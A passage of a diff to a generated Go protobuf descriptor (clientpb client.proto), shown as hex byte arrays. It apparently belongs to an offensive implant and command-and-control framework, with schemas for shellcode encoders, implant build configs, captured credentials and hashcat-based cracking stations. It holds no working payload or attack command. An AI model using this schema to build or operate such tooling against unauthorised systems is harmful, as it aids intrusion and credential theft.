0x41, 0x72, 0x63, 0x68, + 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, + 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, + 0x68, 0x61, 0x72, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, + 0x68, 0x61, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, + 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, + 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, + 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x13, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, + 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, + 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, + 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, + 0x22, 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, + 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, + 0x72, 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, + 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, + 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, + 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, + 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, + 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, + 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, + 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, + 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, + 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x80, + 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, + 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, + 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, + 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, + 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, + 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, + 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, + 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, + 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, + 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, + 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, + 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, + 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, + 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, + 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, + 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, + 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, + 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, + 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, + 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, + 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, + 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, + 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, + 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, + 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, + 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, + 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, + 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, + 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, + 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, + 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, + 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, + 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, + 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, + 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, + 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, + 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, + 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xed, 0x03, 0x0a, 0x0c, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, + 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, + 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, + 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, + 0x55, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, + 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, + 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, + 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, + 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, + 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, + 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, + 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, + 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, + 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, + 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, @@ -10483,515 +10394,555 @@ var file_clientpb_client_proto_rawDesc = []byte{ 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x22, 0x0a, - 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, - 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, - 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, 0x0a, - 0x08, 